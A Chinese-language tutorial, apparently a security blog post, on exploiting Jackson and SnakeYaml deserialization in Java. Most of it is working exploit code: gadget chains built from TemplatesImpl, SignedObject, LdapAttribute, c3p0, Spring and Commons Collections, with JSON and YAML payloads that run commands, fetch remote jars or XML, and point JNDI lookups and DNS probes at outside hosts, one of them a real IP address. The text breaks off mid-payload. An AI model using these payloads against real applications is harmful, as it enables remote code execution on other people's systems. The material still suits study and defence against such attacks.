JackSon反序列化JackSonSpringboot一般都会自带JackSon这个依赖包，JackSon跟Fastjson有相同的功效。Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 Jackson。在 Java 领域，Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能，包括将 Java 对象转换为 JSON 字符串（序列化）以及将 JSON 字符串转换为 Java 对象（反序列化）。Jackson主要由三个核心包组成：jackson-databind：提供了通用的数据绑定功能（将Java对象与JSON数据相互转换）jackson-core：提供了核心的低级JSON处理API（例如JsonParser和JsonGenerator）jackson-annotations：提供了用于配置数据绑定的注解<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>示例ObjectMapperJackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper：ObjectMapper可以从字符串，流或文件中解析JSON，并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。Object映射器可以将JSON解析为自定义的类的对象，也可以解析置JSON树模型的对象。之所以称为ObjectMapper是因为它将JSON映射到Java对象（反序列化），或者将Java对象映射到JSON（序列化）。package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class demo { public static void main(String[] args) throws IOException { Person user = new Person("eqw",123); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json);//{"name":"eqw","age":123} Person other = mapper.readValue(json,Person.class); System.out.println(other);//jackson.Person@6a4f787b } }JsonParserJackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器，差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快，但使用起来也比较麻烦。使用JsonParser需要先创建一个JsonFactorypackage jackson; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken; public class demo1 { public static void main(String[] args){ String json = "{\"name\":\"ewq\",\"age\":123}"; JsonFactory jsonFactory = new JsonFactory(); Person1 person1 =new Person1(); try{ JsonParser parser = jsonFactory.createParser(json); System.out.println(parser);//com.fasterxml.jackson.core.json.ReaderBasedJsonParser@1e80bfe8 while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken); if (JsonToken.FIELD_NAME.equals(jsonToken)){ String fieldName = parser.getCurrentName(); // System.out.println(fieldName); jsonToken=parser.nextToken(); System.out.println(jsonToken); if ("name".equals(fieldName)){ person1.name = parser.getValueAsString(); } else if ("age".equals(fieldName)){ person1.age = parser.getValueAsInt(); } } System.out.println("person's name is "+person1.name); System.out.println("person's age is "+person1.age); } } catch (Exception e ){ e.printStackTrace(); } } } class Person1 { public String name; public int age; public Person1() { } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } 一旦创建了Jackson JsonParser，就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌，可以一个一个地迭代令牌。使用JsonParser的nextToken()获得一个JsonToken，然后循环打印看看所有的 jsonToken，在得到 parser 后添加下面代码while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken);运行得到然后再利用equals方法进行匹配，如果标记的字段名称是相同的就返回其值返回值可以用 getValueAsString()，getValueAsInt() 等方法，根据不同的值的类型JsonGeneratorJackson JsonGenerator用于从Java对象（或代码从中生成JSON的任何数据结构）生成JSON。同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGeneratorpackage jackson; import com.fasterxml.jackson.core.JsonEncoding; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonGenerator; import java.io.File; public class demo2 { public static void main(String[] args){ JsonFactory jsonFactory = new JsonFactory(); Person person =new Person(); try{ JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8); jsonGenerator.writeStartObject(); jsonGenerator.writeStringField("name","ewq"); jsonGenerator.writeNumberField("age",123); jsonGenerator.writeEndObject(); jsonGenerator.close(); } catch (Exception e ){ e.printStackTrace(); } } }直接写到文件里，这个不能json to Java objectPOJONodepublic static void main(String[] args) { Person p = new Person(); POJONode jsonNodes = new POJONode(p); jsonNodes.toString(); }利用原理JackSon的链子主要是利用利用BaseJsonNode的tostring触发到getter方法。：从ObjectMapper#writeValueAsString()方法跟进，->ObjectMapper#writeValueAsString() --> ObjectMapper#_writeValueAndClose() --> DefaultSerializerProvider#serializeValue() --> DefaultSerializerProvider#_serialize() --> BeanSerializer#serialize()跟进serializeFields --> BeanPropertyWriter#serializeAsField这里对Bean类中的所有属性值的写入，也就是在这里调用了getter方法。BaseJsonNode是抽象类,我们用PoJoNode：PoJoNode类是继承ValueNode，ValueNode是继承BaseJsonNode类注意点PoJoNode类是继承ValueNode，ValueNode是继承BaseJsonNode类，我们看看BaseJsonNode类:它拥有writeReplace方法，有这个方法就意味着反序列化时不会走正常渠道，而是走这个writeReplace方法，这是反序列化的规则，解决办法就是重写BaseJsonNode类，把这个writeReplace注释掉即可利用链TemplatesImpl链影响版本Jackson 2.6系列 < 2.6.7.1Jackson 2.7系列 < 2.7.9.1Jackson 2.8系列 < 2.8.8.1看到BaseJsonNode类的toString方法，@Override public String toString() { return InternalNodeMapper.nodeToString(this); }跟进InternalNodeMapper类的nodeToString方法public static String nodeToString(JsonNode n) { try { return STD_WRITER.writeValueAsString(n); } catch (IOException e) { // should never occur throw new RuntimeException(e); } }这里可以进入writeValueAsString只要进入writeValueAsString方法，就可以调用任意getter方法，最经典的getter就是TemplatesImpl.getOutputProperties方法。由于BaseJsonNode是抽象类，我们找他的子类，而且没有重写toString方法的子类就可以了，可以用POJONode然后用BadAttributeValueExpException触发toString就可以了package jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.util.Base64; import static jackson.Tools.*; public class TemplatesImpldemo { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortevil("calc"); Templates templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", pojoNode); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } }SignObject链二次反序列化java.security.SignedObject类有一个令人满意的getter方法getObject()，content通过构造方法可控，这里就可以调用任意字节流的原生反序列化，并返回反序列化后的对象既然是getter方法，那么也可以被jackson链调用。package jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.security.*; import java.util.Base64; import static jackson.Tools.*; public class SignObject_jackson { public static void main(String[] args) throws Exception { overrideJackson(); byte[] evilbyte = getshortevil("calc"); Templates templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilbyte}); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp, "val", pojoNode); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine); POJONode pojoNode2 = new POJONode(signedObject); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); setFieldValue(exp2, "val", pojoNode2); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exp2); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } }LdapAttribute链LdapAttribute类中有getter方法调用了lookup需要注意的是baseCtxURL必须是ldap://xxxx/这种格式,否则经过拼接之后查询ldap会出现错误.而rdn这个字符串只能够拼接第一个/前的进去.所以我们构造的payload必须形如ldap://xxxx/xxx/.用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar直接起就行package jackson; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.naming.CompositeName; import java.io.*; import java.lang.reflect.Constructor; import java.util.Base64; import static jackson.Tools.*; public class LdapAttributedemo { public static void main( String[] args ) throws Exception { overrideJackson(); String ldapCtxUrl = "ldap://127.0.0.1:1389/"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( new Class[] {String.class}); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( new Object[] {"name"}); setFieldValue(ldapAttribute, "baseCtxURL", ldapCtxUrl); setFieldValue(ldapAttribute, "rdn", new CompositeName("yriwp1/z")); POJONode jsonNodes = new POJONode(ldapAttribute); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp, "val", jsonNodes); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exp); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } } 特定配置导致的利用<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.9</version> </dependency>当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法满足下面三个条件之一即存在Jackson反序列化漏洞：调用了ObjectMapper.enableDefaultTyping()函数；对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解；对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解；简单地说，Java多态就是同一个接口使用不同的实例而执行不同的操作。那么问题来了，如果对多态类的某一个子类实例在序列化后再进行反序列化时，如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢？——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。JacksonPolymorphicDeserialization即Jackson多态类型的反序列化：在反序列化某个类对象的过程中，如果类的成员变量不是具体类型（non-concrete），比如Object、接口或抽象类，则可以在JSON字符串中指定其具体类型，Jackson将生成具体类型的实例。简单地说，就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象，其实现有两种：DefaultTyping@JsonTypeInfo注解。利用链TemplatesImpl利用链（CVE-2017-7525）影响版本Jackson 2.6系列 < 2.6.7.1Jackson 2.7系列 < 2.7.9.1Jackson 2.8系列 < 2.8.8.1{ "object":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes":["Base64exp"], "transletName":"feng", "outputProperties":{} } ] }package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import com.unboundid.util.Base64; import static jackson.Tools.*; public class templdemo { public static void main(String[] args) throws Exception{ String exp = Base64.encode(getBytes("jackson.evil")); exp = exp.replace("\n",""); String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "{\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'whatever',\n" + "'outputProperties':{}\n" + "}\n" + "]\n" + "}"); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(jsonInput, evil.class); } public static String aposToQuotes(String json){ return json.replace("'","\""); } }高版本JDK不能触发的原因——_tfactory在大版本下，JDK1.7和1.8中，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码，其中调用了 _factory 属性，但是该属性值我们没有在PoC中设置，默认为null，于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性，所以也就没法进行反序列化了。至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为，在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候，其中会调用checkIllegalTypes()函数提取当前类名，然后使用黑名单进行过滤：static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599] s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes()，第一次由于是 Person 类，因此不会被过滤；第二次是TemplatesImpl类，由于其在黑名单中，因此被过滤了。ClassPathXmlApplicationContext利用链（CVE-2017-17485）影响版本Jackson 2.7系列 < 2.7.9.2Jackson 2.8系列 < 2.8.11Jackson 2.9系列 < 2.9.4需要有Spring的依赖["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:39876/spel.xml"]spel.xml：<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class cpath { public static void main(String[] args) throws IOException { //CVE-2017-17485 String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:7777/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(payload, Object.class); } }c3p0利用链JNDI注入链["com.mchange.v2.c3p0.JndiRefForwardingDataSource", {"jndiName":"ldap://121.5.169.223:1389/k2isjv", "loginTimeout":0}]package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class c3jndi { public static void main(String[] args) throws IOException { String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"ldap://127.0.0.1:1389/et5soo\", \"loginTimeout\":0}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(payload, Object.class); } }先调用setJndiName设置jndiName：public void setJndiName( Object jndiName ) throws PropertyVetoException { Object oldVal = this.jndiName; if ( ! eqOrBothNull( oldVal, jndiName ) ) vcs.fireVetoableChange( "jndiName", oldVal, jndiName ); this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); if ( ! eqOrBothNull( oldVal, jndiName ) ) pcs.firePropertyChange( "jndiName", oldVal, jndiName ); }然后调用setLoginTimeout：public void setLoginTimeout(int seconds) throws SQLException { inner().setLoginTimeout( seconds ); }跟进inner()：private synchronized DataSource inner() throws SQLException { if (cachedInner != null) return cachedInner; else { DataSource out = dereference(); if (this.isCaching()) cachedInner = out; return out; } }因为没设置cachedInner所以为null，跟进dereference()：private DataSource dereference() throws SQLException { Object jndiName = this.getJndiName(); Hashtable jndiEnv = this.getJndiEnv(); try { InitialContext ctx; if (jndiEnv != null) ctx = new InitialContext( jndiEnv ); else ctx = new InitialContext(); if (jndiName instanceof String) return (DataSource) ctx.lookup( (String) jndiName ); else if (jndiName instanceof Name) return (DataSource) ctx.lookup( (Name) jndiName ); else throw new SQLException("Could not find ConnectionPoolDataSource with " + "JNDI name: " + jndiName); }hex序列化字节加载器package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import static jackson.Tools.*; public class c3Hex { public static void main(String[] args) throws Exception{ byte[] evil = getBytes("jackson.evil"); String hexString = bytesToHexString(evil,evil.length); String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hexString + ";\"}]}"; System.out.println(poc); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(poc, evil.class); } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }DNS探测["java.util.HashSet","java.net.URL","http://1wc3gw.dnslog.cn"] ["java.net.InetSocketAddress","36alx7.dnslog.cn"] ["java.net.InetAddress","ap6d50.dnslog.cn"]package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class dnstest { public static void main(String[] args) throws IOException { String poc = "[\"java.util.HashSet\",\"java.net.URL\",\"https://l2vnosw1.requestrepo.com/\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(poc, Object.class); } }
SnakeYaml反序列化SnakeYamlSnakeYaml包主要用来解析yaml格式的内容，yaml语言比普通的xml与properties等配置文件的可读性更高，像是Spring系列就支持yaml的配置文件，而SnakeYaml是一个完整的YAML1.1规范Processor，支持UTF-8/UTF-16，支持Java对象的序列化/反序列化，支持所有YAML定义的类型。YAML基本格式要求：YAML大小写敏感使用缩进代表层级关系缩进只能使用空格，不能使用TAB，不要求空格个数，只需要相同层级左对齐(一般2个或4个空格)<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>主要关注序列化与反序列化SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。Yaml.load()：入参是一个字符串或者一个文件，经过序列化之后返回一个Java对象；Yaml.dump()：将一个对象转化为yaml文件形式；常用方法：String dump(Object data) //将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) //将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) //将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) //将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) //将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) #将Java对象序列化为YAML字符串。 <T> T load(InputStream io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(Reader io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(String yaml) //解析字符串中唯一的YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) //解析流中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。示例package snakeyaml; import org.yaml.snakeyaml.Yaml; public class test { public static void main(String[] args) { Person person = new Person("name",1); Yaml yaml = new Yaml(); // 序列化 String dump = yaml.dump(person); System.out.println(dump); // 反序列化 Object load = yaml.load(dump); System.out.println(load); } } //输出 //!!snakeyaml.Person {age: 1, name: name} // //snakeyaml.Person@4d591d15 //这里的!!类似于fastjson中的@type用于指定反序列化的全类名反序列化过程中会触发set方法和构造方法。利用链JdbcRowSetImpl利用链 jndi这里和fastjson的触发一致，调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName为父类BaseRowSet的dataSource属性赋值然后调用setAutoCommit为autoCommit赋值会调用connect方法这个方法存在new InitialContext().lookup()且参数就是dataSourceName可控，于是可以触发JNDI注入package snakeyaml; import org.yaml.snakeyaml.Yaml; public class JdbcRowSetImplJndi { public static void main(String[] args) { String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}"; Yaml yaml = new Yaml(); yaml.load(payload); } }Spring PropertyPathFactoryBean利用链 jndi需要springframework依赖<dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.23</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.23</version> </dependency>这里两种payload，一个是空格缩进的，一个是{}的package snakeyaml; import org.yaml.snakeyaml.Yaml; public class Springjndi { public static void main(String[] args) throws Error ,Exception{ String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"ldap://127.0.0.1:9999/test\"\n" + " propertyPath: Sentiment\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"ldap://127.0.0.1:9999/test\"]"; String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:9999/test\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:9999/test\"]}}"; Yaml yaml = new Yaml(); yaml.load(payload); } } 这里利用PropertyPathFactoryBean#setBeanFactory()方法，这里可以调用到任意类的getBean()方法。然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入。其中需要调用到getBean()方法，首先要满足isSingleton(this.targetBeanName)返回值为true.this.shareableResources是一个HashSet对象，也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可C3P0利用链jndi在C3P0中有一个基于fastjson进行JNDI注入和反序列化，同理也可以套用在snakeyaml链上package snakeyaml; import org.yaml.snakeyaml.Yaml; public class c3p0jndi { public static void main(String[] args) { String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"ldap://127.0.0.1:9999/test\", loginTimeout: \"0\"}"; Yaml yaml = new Yaml(); yaml.load(payload); } } 反序列化c3p0那边的hex反序列化也可以套用一下，这里用cc6来演示：package snakeyaml; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.yaml.snakeyaml.Yaml; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class c3p0HexUnsercc6 { public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb"); lazyMap.remove("Atkx"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}"; Yaml yaml = new Yaml(); yaml.load(poc); } }或者直接加载恶意反序列化对象来执行java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin//生成hex package c3p0; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class hex_alltohex { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } } ScriptEngineManager利用链该漏洞基于SPI机制SPI ，全称为 Service Provider Interface，是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块，在META-INF/services目录下的配置文件寻找实现类的类名，通过Class.forName加载进来，newInstance()反射创建对象，并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。而javax.script.ScriptEngineManager这个类的底层就利用了SPI机制：ScriptEngineManager(ClassLoader loader) ：此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ，则加载与平台捆绑在一起的脚本引擎工厂可以给定一个UrlClassLoader ，并使用SPI机制 (ServiceLoader 来提供) ，来加载远程的ScriptEngineFactory的实现类，那么就可以在远程服务器下，创建META-INF/services/javax.script.ScriptEngineFactory 文件，文件内容指定接口的实现类。github上已经有现成的利用ScriptEngineManager利用方式的exppackage snakeyaml; import org.yaml.snakeyaml.Yaml; public class ScriptEngineManagerD { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7777/yaml-payload.jar\"]]]]"; Yaml yaml = new Yaml(); yaml.load(payload); } } //不出网的话就写本地文件进去，file:///yaml-payload.jar先调用了init()，进行一些初始化设置之后调用initEngines()跟进在下边调用了return getServiceLoader(loader);，接着就是ServiceLoader.load()，对我们自定义的类进行初始化初始化完成后，回到ScriptEngineManager#initEngines()向下执行看到了两个方法hasNext()、next():hashNext获取全路径，并读取文件中的内容next执行文件中对应的类，导致恶意代码执行本地文件写入在fastjson中，可以通过如下命令进行文件写入，而snakeyaml利用方式在很多方面都有很大的相似之处{ "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "dst", "append": 